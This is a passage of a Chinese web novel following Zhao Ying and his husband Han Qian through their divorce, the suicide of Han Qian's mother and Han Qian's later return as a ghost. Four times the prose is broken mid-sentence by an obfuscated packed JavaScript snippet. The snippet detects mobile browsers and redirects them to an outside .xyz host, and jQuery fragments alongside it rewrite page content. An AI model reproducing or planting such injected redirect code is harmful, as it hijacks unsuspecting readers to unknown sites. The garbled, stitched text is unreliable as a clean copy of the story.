赵郢凉凉地瞥他一眼:“你待我家真是屈才了,应该去天津站谋个一官半职,有你在还有余则成什么事?” 韩谦:“……” “赵郢,你好意思说我!”他把弹力球朝赵郢屁股上扔,那里肉多,掐一把好似水波荡漾,投中了也不会疼,“你从来不告诉我你家里的事,除了小妹,我都不知道你家庭成员有谁。” 小球在地面回弹几下,被赵郢踢到一边:“说的好像你告诉我了一样。你不也从没带我到美国去见你妈妈?” 韩谦有些语塞:“我那是、那是因为……算了,我不跟你争。” 公主狗窝里的玩偶琳琅满目,韩谦拎起一只jellycat最经典的巴塞罗熊,小声说:“你没见过我妈妈,但我真的见过你爸妈,所以我不跟你争。” “等等。” 赵郢心中掀起轩然大波,他也盘腿坐下来,“你说你见过谁?” 19. 第 19 章 没有人会轻易辜负那段庄重而坚定的结婚誓言。 当年赵郢在露营地——韩谦求婚的地方戴上那枚戒指时,就没想过这辈子要和他分开。 但世事无常,天意不总遂人愿。 韩谦说的“见过赵郢父母”这件事,发生在赵郢知道他的真实身份之前。赵郢即将晋升,工作忙碌到了作息颠倒、一日三餐缩成一日两餐或者一日一餐的程度。由于短时间内应酬太多,胃也受到严重损伤。 饶是如此,赵郢还是接到了赵父赵母的电话,说近期得来一趟南水,有很重要的话对他讲。 他爸妈并不清楚韩谦的存在,所以他提前和韩谦商量好,赵父赵母过来的那个周末尽量避开,不要在家。 韩谦答应了。 但赵父赵母没有在约定的那天抵达南水车站,而是早到了一天。 听到门铃声响的时候,韩谦还在阳台上接电话,是乔彬程的秘书打来的,同他沟通云升股权分配的事宜。 他以为是二十分钟前点的福莲楼奶茶到了,没断开电话界面,乔彬程的遗嘱复印件散落着躺在沙发边角,MacBook也没来得及关。 打开门,门外背着蛇皮袋的赵父赵母与韩谦皆是一愣。 赵母后退一步,抬头确认门牌号,双手拘谨地交握着:“想问问……这里是天樾新府二期一栋三单元吗?” “是的阿姨。”韩谦紧张得舌头打结,匆匆结束通话,“您没走错。” 两位中年人穿着朴素,说话带着点口音,不过看外表,他几乎可以断定他们就是赵郢的父母。 赵郢的长相很讨巧,五官都是挑着长的,眉眼与赵母如出一辙,唇形和脸型随了赵父,端正标志。 赵父板着脸上下打量韩谦,他对这个又高又壮的蓝眼睛外国混血的第一印象显然没那么好:“你是谁,怎么在我儿子家里?你和赵郢是什么关系?” 韩谦终于明白赵郢那股夹枪带棒的劲儿是从哪继承来的了,他在赵郢这里总是穿的很随意,一条洗了很多次有点褪色的深灰色长裤、一件白色工字背心,没了。 在赵父虎视眈眈的注视下,索性他没在关键时刻失了智,从鞋柜拿出两双拖鞋:“我叫韩谦,是赵郢的同事。前段时间我租房到期,赵哥好心收留我,让我在他这边过渡几个月。” 他把二人引进客厅:“叔叔阿姨你们随意坐,我去给你们倒水。” 赵郢爱喝红茶,冰箱顶上的柜子里存了许多。韩谦在厨房忙前忙后地烧水泡茶,已然把遗嘱复印件抛在脑后。 他娴熟地洗了一盘车厘子,为了掩饰慌乱满房间乱转,闲不住似的,还顺手把阳台晾的衣服收了。 韩谦是很熟悉这片区域的,或者说,他很熟悉赵郢。他的伴侣习惯把各种瓶瓶罐罐塞到冰箱顶,不易腐烂的水果搁置在阳台,收衣服先收内衣内裤,其次才是外套之类。玻璃茶几下藏着他的烟盒,这对于韩谦不算秘密,这些天赵郢很辛苦,他会特批一天两根以内的数量,让赵郢有发泄的余地。 这个家到处都布满他们生活的轨迹,每间屋子好似留有残影,因而赵郢在面对赵父赵母那句“你在跟一个男人乱搞”的责问时,少有地抬起头,说了是。 这时的韩谦已经在去往美国的飞机上,他交代得含糊,只说妈妈出了事。赵郢一个人站在茶几旁,脊背挺得笔直,耳朵里好像飘着机翼划破云端的声音。 “爸,妈,今时不同往日了,同性恋爱是被允许的,同性婚姻也——” “混账!”赵父猝然开口,茶杯狠狠砸到赵郢脚边,水撒了一地,“都是什么乱七八糟的!我和你妈把你培养成今天这个样子,就是让你跟一个不三不四的男的搅合在一起的吗?” “老赵……少说两句。”赵母拍着他的背顺气。 她安抚完丈夫,又走过去拉赵郢的胳膊,嗫嚅着说:“老大,不要同你爸置气,他前阵子跟你堂叔争地皮大动肝火,病了好些天,我俩这次来也是想让你拿个主意。” 赵郢深深吸了口气,他原本就瘦,一忙起来顾不上吃饭,现在瘦得更像块薄纸片。 “多少钱?”他问道。 赵母说:“不是钱的事……”她说着,赵父把头撇到一边,眉间竖着一道深刻的川字纹。 “是、是你爸把你堂叔打了,他们家威胁咱,说不给赔偿,就报警把你爸抓起来,在牢里呆几年!” 赵郢哑然失笑。 他左右肩膀仿佛各压着一块沉甸甸的石头,硬生生将他的下半身往下拉、再往下拉,坠到海平面以下才好,世界上再也没有什么比这更让人喘不过气了。 赵母沉浸在自己的情绪里,专注地碎碎念着,赵郢通过她零碎的描述拼出了一个大概的真相。 总之就是,伤情鉴定达到轻微伤,堂叔一家伸手就要一百万的赔金,否则拒绝和解,甚至要闹到法庭。 这件事还没到难以转圜的地步,但赵母紧追不舍地问着他的存款,赵郢表情有些冷,蹲下来徒手捡着茶杯碎片:“我没有那么多,妈。” “怎么会呢?”赵母扯着他的衣服,好像不相信一般,“几十万,几十万总有的吧?赔偿金可以再谈,但十几万……十几万他们家不会接受的呀!” 赵郢很轻地喊了一声“妈”,重复道:“真的没有了。” “老大。”赵母脸色难看,“你的钱该不会……” “不在韩谦那里。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992595|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵郢说:“这些年他没有花过我一分钱。” 韩谦搬过来后,进厨房的活两人对半开,有时候韩谦做饭次数更多,他在国外磨练出一手好厨艺,赵郢很喜欢他烧的菜。 结婚戒指也是韩谦买的,他偷偷量了尺寸,没叫上赵郢,一个人去的商场,据说一对戒指花了七千。 韩谦有和他讲过,大学毕业向关系很好的同学投了一笔钱,相当于合作创业,他既是股东也是技术顾问。最近工作室渐渐有了收益,已经有大公司中意他们的项目了。 赵郢觉得这比上班还累,费心解释道:“我名下的车是全款买的,这套房还在还贷,每年年末固定给你和爸转一笔钱,还要顾及生活开销。零零总总算下来,我手头真的不剩多少。” “不是的。”赵母摇摇头。 她把几次将欲发作的丈夫瞪了回去,姿态依然放得很低。 她说,你可以找你那个同事借的,你们感情好,韩谦会答应你的。 赵郢刚想说韩谦哪来的钱,赵母不给他机会,抢先道:“妈不小心看到他落在沙发的纸,上面写着他会拿到一大笔钱。哦,你知不知道他是你们公司大老板的亲儿子?” 赵母说得很详尽,一边说还一边把照片划给他看。她能了解得这么全面,很有可能是问过了赵宝瑞。 整个客厅,赵郢的父亲懒散地瘫坐着,两只手捧着腹部,似乎因为妻子的发现感到高兴。赵母脑后的发髻随着她低头、抬头的动作上下耸动,她放软语气,神情昂扬地劝说着赵郢,不要好面子,如果韩谦肯借这笔钱,他们是可以考虑让韩谦和小妹结婚,成为家里的一份子的。 赵郢在想什么呢。 他想了好多好多。 韩谦是非常爱他的,这一点毋庸置疑,建立在他是云升董事长乔彬程儿子的前提下,不用说一百万,哪怕是一千万他也是肯借的。 但赵郢压根不想这样,上刀山下火海的有他一个就行了,韩谦不欠任何人的,何必被牵扯进来呢。 他的前途,他的未来,他才二十三岁。 换一个人重新开始,不难。 赵母孜孜不倦地分析着韩谦与赵莱结婚的好处,好像在分配两头即将□□的牲畜,此时赵郢却想起在大学某个学期末做的一道判断题。 百分之五十的正确率,要的只是一个抉择。 “妈,我知道了。” 他疲惫地闭上眼睛,“你们回去吧,我知道该怎么做了。” 他想,韩谦似乎很容易就喜欢上他了,一见钟情,认定即确定。 既然爱一个人这么简单,那他恨一个人又有多难? 总得有人做恶人,赵郢当刚刚好。 20. 第 20 章 韩谦在登机前向赵郢发了条短信,告诉他自己几点钟降落,订的哪一家酒店,事无巨细。 飞机上没有信号,他闭着眼睛在《指环王》三部曲里盲选一部打发时间,睡一觉起来刚好落地。 他八岁之前一直住在洛杉矶,那时他妈妈还没彻底息影,但因为名气很小,大多出演的是不重要的配角,或者穷凶极恶的反派角色。 GretaHofmann,韩谦母亲的名字,见过她的人很难忘掉那双如湖水般忧郁清澈的灰蓝色眼睛。她总是把韩谦带到片场里,让他乖乖的不要乱跑,答应等工作结束给他买一个冰淇凌甜筒。 “Hey,Andy!”说话的男人是和韩谦母亲搭档的男主角。 这次他妈妈终于当了回女主角,小成本电影,俗套常见的文艺爱情片。整部电影拍摄下来,除了那只自小陪伴在女主身边的小狗,所有人的结局都很悲惨。 韩谦礼貌地朝他点点头,那人大掌落在他头顶,逗小猫小狗似的揉了揉。 男人用英文玩笑着说,现在我就是你的爸爸喽。 “Nope,you‘renot.”韩谦对此无动于衷。 当他出现在片场,有不下二十个人对他说过类似的话。他又不傻,自从韩谦有自我意识开始,他妈妈就无比坦诚地说过,他的生父是一位来自中国的生意人。 Greta提起那个人时眼神仍然温柔,在她的描述中,乔彬程儒雅而低调,同时又很风趣。尊重她的梦想与追求。 “那为什么这么多年我从来没见过他?”韩谦打破了她的幻梦。 他很早就学会照顾自己了,也学会照顾他那个时常丢三落四的母亲,提醒她粉饼和乳液被遗落在了房间的哪个角落。 “这不重要。” 棕发蓝眼的女人涂着大红色的口红,随后轻轻捏着他的鼻尖:“Andy,你只需要知道,爱一个人是一辈子的事。” 中途放弃的都是负心汉,这句话是韩谦后来加上去的。 八岁,韩谦被乔彬程认回本家,他的母亲收到一笔丰厚的补偿,足够她享乐一辈子。 实际上,她没有表面看上去的那样潇洒,“欺骗”这个词贯穿着她与乔彬程的关系,她在漫长岁月中的等待不过是一场徒劳。 乔彬程白手起家,与杜家千金结合,再一次巩固了云升的地位。杜家的女儿更像是商业伙伴,而韩谦的母亲只是他的露水情缘。 她早年在好莱坞透支了全部的青春,药物成瘾、挥霍无度,那笔补偿没有撑过几年就被消耗殆尽。 韩谦十五岁那年回美国探望她,那张曾经风华绝代的脸逐渐消颓,像退潮后出现在海滩上的礁石,两颊凹陷,只剩高高的颧骨支撑着皮肉。 他在一家实验室为母亲申请到一只退役比格犬生下的小狗崽,Greta有所好转。 飞机降落在停机坪,韩谦拖着行李箱到达一家私立疗养院。 穿过宽阔的青草地,一只戴着项圈的垂耳小狗溅起地上的草屑,用鼻子拱了拱韩谦的裤腿。阳光亮得晃眼,他视线直直荡过去,不远处的轮椅上坐着他的母亲。 “照顾你的护士说你又在偷偷服用药物,并且在你的房间里搜到了一盒没抽完的烟。”韩谦说英文的语速很快。 他半蹲下来,将搭在女人腿间的毛毯整理一番,以免空气漏进去:“还说你试图自杀,割腕一次,吞安眠药三次。” 女人比先前丰腴了一些,脸颊长回一点肉,至少精气神看着挺好。 她点点韩谦的鼻尖,目光在他无名指那枚戒指上停留一会儿,“不说这个了好吗?和我聊聊你的爱人,你还有他的照片吗?” 说到这个韩谦就一肚子火。赵郢和他妈一个德性,不爱惜身体,一个劲乱来,生病时吃药仿佛神农尝百草,主打一个“不管了先吃了再说”。 他暗自生气一秒,打开手机相册,把照片一张张地翻给他妈看,还配解说。 “这张是他在下厨,做的什么我想想……”韩谦沉思片刻,“噢”了一声,“滑蛋牛肉。但盐放好多,齁咸,我吃完喝了一大杯水。最关键是你不能说他做得不好吃,不然他会生气的。” 屏幕里,赵郢一只手拿着锅铲,拿的调味瓶,宽大的短袖T恤被围裙系带勒出两道往里凹的弧度,衬得腰部细薄,两只手便能一把掐住。 “这张是我接他下班拍的,那天他出门没带伞,下午下了好大一场雪,坐进副驾驶的时候,大衣肩膀那块都湿了。” 赵郢只有侧脸出镜,一身到脚踝的黑色粗面大衣,脖颈围着灰白双面羊绒围巾,镜头闪烁的那一瞬,他眉间微皱,正在包里找护手霜。 韩谦给她看了几十张,滑到某一张时,他把手机收起来,没再展示下去了。后面的照片是他和赵郢的私密内容,他相信妈妈对这个不会有太大兴趣。 “等我身体好起来,或许我可以见见他。”比格犬咬着弹力球走到Greta身边,她把小球抛远,低声咳了几下,“我总是觉得很无趣,Andy,我没有那么细心地照料你,也没有拍出什么好的作品。可能有的人注定碌碌无为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996976|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,最后又平庸无声地死去。我想与其这样,不如我主动回到上帝身边,他会宽恕我的对吗?” “在东方文化里,自杀并不能得到神的宽恕,妈妈。”韩谦说,“有一次,我给赵郢看了你当年的作品,那是你为数不多饰演女主角的电影。看到结局女主为男主殉情的片段时,你猜赵郢怎么说?” 他笑了一声,“赵郢说,如果我死了,他会带一支笔到地狱里,把生死薄有关我的那一行一笔勾销——生死薄就是中华神话中记载人畜寿命的名单,再把我从鬼怪手中抢回来,为此他愿意牺牲一半的生命。” Greta扑哧笑出来,说他真是个有趣的孩子。 “再坚持一下好吗?”韩谦握着她的手,“别让我那么早跑到地狱里找人。” 最终Greta还是点头答应了。 但答应是一回事,答应的话作不作数又是另一回事。在韩谦到美国的第二天,疗养院负责照顾他母亲的护士在深夜急电,说Hofmann女士正在抢救。 韩谦站在抢救室外,和他妈妈的小狗一起。 很多人都评价比格犬是最邪恶的品种,没有之一,它们有着无穷的精力与毁灭力,就像超英大片中被改造的终极反派。 但它现在却安静地蹲在韩谦脚边。 可能他母亲早已万念俱灰,生前唯一的愿望就是再看自己的孩子一眼,韩谦回来了,她看到了,于是欣然赴死,不忘还给韩谦一个美丽的谎言。 站在她的角度,这可能是解脱,但站在韩谦的立场,他又一次被抛弃。 “非常抱歉。” 医生从抢救室走出来,说:“我们已经尽力了。” Greta像一位先知,早有预料地选好了一处墓地,一切流程进行得异常顺利。她预留的财产刚好够支付安葬的费用,甚至没给韩谦出钱的机会。 而那只失去主人的比格犬,韩谦决定把他妈妈的爱宠带回国。 托运的手续有些复杂,他暂时将公主寄养在工作室合伙人之一那里。 他带了许多话想说给赵郢听,死亡是第一次出现在他人生中的课题,韩谦需要找到他情感的归宿地。 巧的是,赵郢在飞机落地后也给他回了消息,说自己正在家等他。 韩谦期望着能得到一个拥抱,一句安慰也可以,毕竟他处理母亲的葬礼以来很少合眼。 但他推开门,步伐沉重地走向赵郢时,对方却先一步抵住他蠢蠢欲动的胸膛,将一份协议递到眼前。 “韩谦,我们离婚吧。” 21. 第 21 章 那句话说完,他们爆发了一场有史以来最激烈的争吵。 韩谦五指钳着他的手腕,用力到指骨泛白,赵郢让他松手,却被狠狠掼在墙上。 按理说这个力度会使人感受到剧烈的疼痛,但他没有,因为韩谦的手臂隔在墙与他的背部之间。 “赵郢,你最好不是跟我开玩笑。”韩谦眼睛里充满红血丝,太阳穴青筋暴张,相反眼神又很平静。 “不是玩笑……” 赵郢被吓了一跳,心惊胆战地咽了咽口水,他察觉到韩谦的状态有些失常,但离婚的事迫在眉睫,他没有时间考虑太多。 协议书被他牢牢抓在手心,没有因为方才的响动散架,赵郢大脑懵了几秒,别开脸,手掌推推挡在身侧的胳膊:“你冷静一下,看完再说好吗?” 面前的人松动几分,下一秒,赵郢的脚尖落了地。 韩谦将装订成册的协议书翻得哗哗响,纸张没一会儿就被这种暴力的阅读方式弄皱。赵郢后背轻轻倚着墙,前几天他连夜联系上学法的大学同学,经他推荐,请事务所的一位离婚律师加急拟定好了协议内容。 和平分手,友好离婚,赵郢不会多拿一分不属于他的财产。 “……双方因性格不合致使感情破裂?” 韩谦终于读完了全部,他抬起头,浮现出一个很困惑的表情:“可之前我们上床的时候,你还一边高/潮一边说爱我。是我做错了什么吗,故意扔掉你藏起来的烟,不喜欢戴/套,还是上个月用你的卡充了福莲楼的年度会员?” “赵郢,你告诉我哪一样值得你跟我提离婚!” 他想动手撕了那份协议书,却被赵郢轻声打断:“我打印了一百份,撕完了家里还有。” 韩谦动作一顿。 “所以到底是为什么?”他哑声问。 赵郢定定地望着他,面无表情:“你知道的,我讨厌别人欺骗我。你好好想想,自己隐瞒了什么没对我说。” 有一点没说错,他诚然最恨的就是欺骗。当年赵郢被廖彦川甜言蜜语蒙了心,离成为他婚姻里的男小三仅一步之遥。但实话讲,韩谦的这种隐瞒在他看来压根不算什么,只是这回情况特殊,他不得已才拿鸡毛当令箭。 32寸的行李箱立于旁侧,韩谦坐了上去,四角滚轮轻轻一滑:“你知道了。” 他用的陈述句。 “是啊,大少爷微服私访下基层,还在我手底下干了一年实习生。”赵郢故作刻薄地笑,说道,“你要是改名叫‘乔谦’,我当初就不睡你了。” 韩谦很久没见他这副模样了,胸口闷得慌:“乔谦?我又不搬家。” 他从行李箱上起来,覆着赵郢那只围着一圈红痕的手腕,闷着声给他揉了揉,明明是俯视的角度,却一副低声下气讨饶的姿态:“我承认,这件事是我不对,乔彬程的家庭构成很复杂,一时半会儿说不清楚……” 赵郢任他揉着手,同时取掉无名指的婚戒:“你实话实说,我们这对婚戒多少钱买的?” 韩谦含含糊糊地说了串数字。赵郢又问一遍,他才把字音咬得清晰了些:“七……万。” 赵郢:“再给你一次机会。” “加个零。” “韩谦。” “好吧是七百万。” 韩谦骗他的远不止这些,比如那次美国的蜜月旅行,被韩谦伪造成年终的奖品之一,拜托刘总后台操作到了赵郢那里,还有那一阳台的花花草草,不是花鸟市场批发的,而是从各地送来的稀有货,价格不菲,甚至被赵郢养死了几盆。 得知韩谦的身份之后,赵郢有想过他也许会很有钱,但没想到他有钱到了令人发指的地步。 换算成房价,相当于两套房子戴在了他手上。 “你说过在南水没有房子——” “真的没有。”韩谦犹豫地开口,“但我在旧金山有一套独栋。” 他握住赵郢的双手,“你想要我送你,房子,车,都可以。你不是嫌雷克萨斯发动很吵吗?明天我陪你去趟4s店呢赵郢。” “在协议上签字吧。” 赵郢抿了抿唇,“律师写得很清楚,应该不用我做过多解释。我们各自的资产,婚前什么样离婚后就什么样,到时候给你一天的时间收拾东西,从我家搬出去。” 他不想与韩谦纠缠太久,快刀斩乱麻才是应有的做法。再这么耗下去,赵郢想象不到假如自己也无法解决地皮纠纷,他爸妈会通过什么样的手段把韩谦牵扯其中。 他和韩谦不同,赵郢掏空积蓄买下的房产,不可能一夜卖掉搬到其他地方,他已经在南水扎深了根,事业、住宅、人际。他被困住了,可韩谦没有。 至少目前没有。 “我不签。”韩谦梗着脖子跟他对着干,“赵郢,我死都不签。” “如果我不说,你打算瞒我多久?一年,十年,一辈子?”韩谦像一面密不透风的墙,严防死守,赵郢头大得很。 那双他曾经对视过无数次的灰蓝色瞳孔盈满了名为挽留的情绪,赵郢无时无刻不在心软,但他也清楚地知道他下一步要做什么。 换句话说,就像主人准备杀了喂养多年的狗,哪怕脖子上抵着锋利的砍刀,狗也以为这是人在同他玩闹,甘愿引颈就戮。 这个比喻不太恰当,不过赵郢也想不出更好的了。 “云升集团董事长乔彬程白手起家,妻子姓杜,两人结婚几十年,膝下有两个女儿。”赵郢短暂地停留几秒,仿佛下定决心一般,“没说错的话,你妈妈是乔彬程的婚外情人,你也是他的私生子。既然如此,你所遭受的所有不平等的对待,好像都变得情有可原。” “赵郢……”韩谦摁着他的肩膀,鼻尖仿佛要往他脸颊上蹭,他咬着后槽牙,“你他妈把话再说一遍?” 赵郢回视过去,有意激怒道:“你经历的那些痛苦,都是你活该的。” “满意了吗?”他说。 韩谦临走前拿了一支他的护手霜,似乎来的路上刚用过,散着淡淡的柑橘味儿,现在这股味道却撕扯着撤离开来,与赵郢拉远了距离。 “我最后问你一遍。” 韩谦目眦欲裂,眼眶红得充血,“你是真心想离婚吗?” 手心的戒指轻轻落到茶几边角,赵郢在弯腰拿笔的时候揩了揩眼角,转过身后依旧跟没事人一样:“是的。” 他把纸笔递过去:“签字吧。” 彼时婚姻法还未增加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017408|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新规,韩谦在协议上签了字,赵郢心中的石头赶在末班车前沉重落地。 韩谦搬出去那天,他收拾的速度变得很慢,赵郢耐着性子等,只觉得他像移山的愚公,这辈子都搬不完自己的东西。 说不准韩谦在给他台阶下呢,多拖一分钟,万一赵郢改了主意,他们还可以在民政局的工作人员下班前再结一次婚。 但他想错了,赵郢是执意要与他分开的。 于是韩谦头昏脑热,强压着这个没有心的人做了最后一次。 从前赵郢永远在这种时刻占据主导权,动慢了、弄快了,他总要皱着眉说上几句,然后亲自上阵纠正韩谦,有时候韩谦也不全都听他的,这是夫妻之间的小情趣,倒也无伤大雅。 这回不一样,不论韩谦快还是慢,赵郢始终没吭一声,两个人都在跟彼此较劲。 一个不停下,一个不制止。 到最后赵郢半边身子落到床外,韩谦把着他的腰身,想将他拖回来,却被赵郢狠狠拍开并骂了一声“滚”。 自此他们再也没有见面。 回忆停在这里,赵郢的腿盘得太久,酸软得像两条弹性十足的果冻。 “你当时怎么没告诉我?” 赵郢沉默两秒,韩谦在他面前提过Greta几次,也放过她生前演过的一些电影。正如Greta所说,如果还有机会的话,他也很想去美国拜访她。 “告诉你,你就不会离婚了吗?”韩谦反问他。 “当然……”他看到韩谦眼睛一亮,调转话头说,“还是会的。” 韩谦:“那不就完了。” 赵郢安静一会儿,说道:“你那个时候是不是挺恨我的?” 为了把韩谦撇出去,他说了那么多伤人的话,韩谦没一巴掌抽他都算好的了。赵郢知道他这是在明知故问,但他还是想听听当事人的回答。 韩谦避开他的视线,无语地撇撇嘴:“可不吗,我快要恨死你了。” “事先说好,不是因为我妈妈的事。”他在半空中侧躺,只给赵郢留一个后脑勺,“我妈——Hofmann女士是一位很重感情的人,有句话怎么说来着?情深不寿,慧极必伤,乔彬程追求她的时候,一口咬死自己是单身,八岁那年他回来找我们,又可怜兮兮地说,他与那位杜女士仅仅是商业联姻,没有真情。这样一个反复无常的人,也只有我妈妈才愿意献出一颗真心。” “可能阿姨心里也清楚,只是不想承认而已。”赵郢说,“她为此投入太多时间和精力,就像沉没成本,已经回不了头。” 韩谦“嗯”了一声,背影动了动:“那会儿我们都在气头上,后来我有冷静地分析过,心想,你大概是有苦衷才这么说的。” 赵郢笑了一下,表情有些苦涩。 “你怎么知道我有苦衷?万一我真的是铁了心想伤害你的感情呢……” “你不是那样的人。”韩谦飘到他面前,板着脸说。 赵郢:“那我是什么样的人?” 韩谦用“你是”开了个头,后面就没再说话了,似乎在组织语言。 半晌,他垂下眼睫,高深莫测地说:“赵郢,你是一个喜欢把别人推开,独自承受一切的人。” 22. 第 22 章 “对。” 赵郢心中腾然产生一种被揭穿的惊慌感,但他藏得很好,气定神闲地说:“你说得没错,我正是典型的香蕉型人格。” 韩谦:“……” 已经很晚了,名叫赵郢的香蕉明天还得上班。他拿上换洗衣物走进浴室,赵郢的洗漱流程极其繁复精致,在身体不那么疲劳的前提下,往往一小时起步。 他撑开束发带,将额前的碎发捋向后脑勺,在掌心挤了一粒黄豆大小的洗面奶,打出泡沫后在脸上均匀铺开。 此时洗漱台的镜子上渐渐出现第二个人影,那人歪着身子靠在门框旁,闻味似的抽抽鼻子:“你换牌子了。” 赵郢掬起水冲洗残留的洗面奶,眼睫糊成一团,洗完脸的模样很是狼狈滑稽。他闭眼摸索洗脸巾,手掌往下一压,触碰到一块绵柔的材质。 洗脸巾的位置比他想象的更近些,这次赵郢没像瞎子一般找很久。 仔仔细细擦干脸上的水,他睁开眼:“同一个东西用多了会腻,跟你们写程序一个理,需要不停更新迭代。” “能别指桑骂槐吗?”韩谦垂眸看着他,对这种行为表示高度鄙夷。 赵郢反应了一会儿,满脸莫名其妙:“谁指桑骂槐了?神经。” “你看你看,人身攻击!” “……” 他不想跟这个人形都没幻化出来的鬼多费口舌,告饶地举起双手:“好吧我承认,其实是常用的牌子年度大调价,涨到九百一瓶了。新换的这个价格才一半不到,量大管饱经济又实惠。” 韩谦哼哼两声,像只得意的,以逼出赵郢实话为荣的猪。 “我留下的遗产够你买一辈子的奢华精粹洁颜凝胶了。”他惬意地半眯着眼,“赵郢,不要舍不得,把这瓶扔了买新的。” “浪费。” 赵郢思考着说:“那等用完了再换回原来的吧。” 韩谦满意地点点头。 自从赵郢打开淋浴头试了试水温,浴室就仿佛白雾缭绕的仙境。满室的热气中,他拽住睡衣下摆,布料上滑,露出一截苍白瘦削的小腹。 这套睡衣是真丝材质的,细软贴肤,很衬赵郢的肤色。但他脱到一半没有继续下去,而是转身看了一眼。 不出所料,韩谦翘着二郎腿坐在马桶盖上,直勾勾地盯着他看。 “我要洗澡了。”赵郢下逐客令。 韩谦:“哦。” “听不懂人话”可能是变成鬼的副作用吧,赵郢心想。 他把睡衣放下来,赤足走到韩谦面前,直白道:“请你出去。” “赵组长。”韩谦表情戏谑地喊着赵郢原先的职称,托着腮帮说,“我又不是第一次看你洗澡,没必要吧?” 当然有必要,赵郢心想。 合法婚姻关系,一块洗澡是小情调;婚姻破裂后,一方看着另一方洗澡叫耍流氓。 他蹙眉顿了几秒,随后转过身去,象牙色睡衣簌簌脱落,被叠放在洗漱台一角。 想看就看吧,他又不会掉块肉。 如瀑布般细密的水流倾泻而下,赵郢被温热包裹全身,如往常一样挤了几泵柑橘味的沐浴露。 他洗澡一贯讲究,沐浴露要搭配磨砂膏,冲洗的时候赵郢不经意瞥了韩谦一眼,那人的视线仍然紧紧聚焦在自己身上,脸色深沉,不知道在想什么。 如果目光有实质,他大概从头到脚都被韩谦摸了一遍。 “赵郢,你好像又瘦了。”再一转头,韩谦已近在眼前。 他宛如一个翻转着地球仪的学者,精准地分析着赵郢哪里变瘦了。赵郢被他自带的那股冷气吹得一哆嗦,不禁调高水温,默默挪开一点。 很小的时候赵郢就有些营养不良了,学校的老师说他光长个头不长肉,像一把麻秆,细条条的。 赵郢没好意思说,自己为了省钱一天只吃两顿饭,偶尔的加餐是学校中午统一发放的兑了香精的杂牌牛奶。 这样的搭配,能胖就奇怪了。 后来上大学了才渐渐好起来,因为学校的食堂有国家补贴,不贵,十块钱出头就能吃到有荤有素的饭菜,赵郢终于从“小麻秆”长成“稍粗一些的麻秆”。 工作后每月有了稳定的收入更是不一样了,纵然身型还是薄纸片那一挂,好歹屁股有肉。 韩谦巧妙地跟他想一处去了,庆幸道:“还好,屁股一点没小。” 赵郢:“……”谢谢啊。 浴室的水汽随着开关关停缓慢散开,他裹着浴巾从湿淋淋的隔间走出来,一只脚踩在塑料小板凳上,弯腰朝小腿抹身体乳。 固态的膏体被赵郢掌心的水珠揉开,散成白色的乳液状,弥漫着淡淡的不知名香气。 赵郢刚想问韩谦有没有在公主的食盆里添狗粮,一扭头,那道高大的鬼影变淡些许,韩谦的人中落了两条浅红色的血迹。 “鬼也能流鼻血吗?”赵郢问。 “能啊。”韩谦抽了张纸擦掉鼻子上的血痕,淡然道,“别的也能,你要不要试试?” 赵郢做了一轮深呼吸,让他赶紧滚。 有些人生来不知道“边界感”三个字怎么写,睡前,赵郢看向身旁那半边隆起的被褥,失语地将摊在腿间的杂志往后翻了一页。 他感觉韩谦死了以后,脸皮更厚了一些,最值得一提的是他装聋的技术,简直令人大开眼界。 赵郢连杂志都看不下去了。 “赵郢,你的梦想是什么?”韩谦正面朝上地躺着,睡姿十分安详。 赵郢将手机解锁定闹钟,闻言扫他一眼:“你要为我转身吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025063|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩谦:“……” 赵郢把手机和杂志一并放到边几上,关了灯,整个人滑进毯子里。 “我小时候的梦想是,早餐可以吃一笼刚出炉的小笼包,最好配一杯热牛奶。”赵郢回忆道,“上高中后的梦想是,一天可以睡足八小时,每天九点起床。” “那现在呢?”韩谦问他。 “现在?” 赵郢进入闭目养神的状态,声音也弱了几分:“现在……想去看海。”南水市是内陆城市,所属省份里倒有几个城市临着海,但他并不是真的想去。 只是想换一个环境,换一种生活方式。 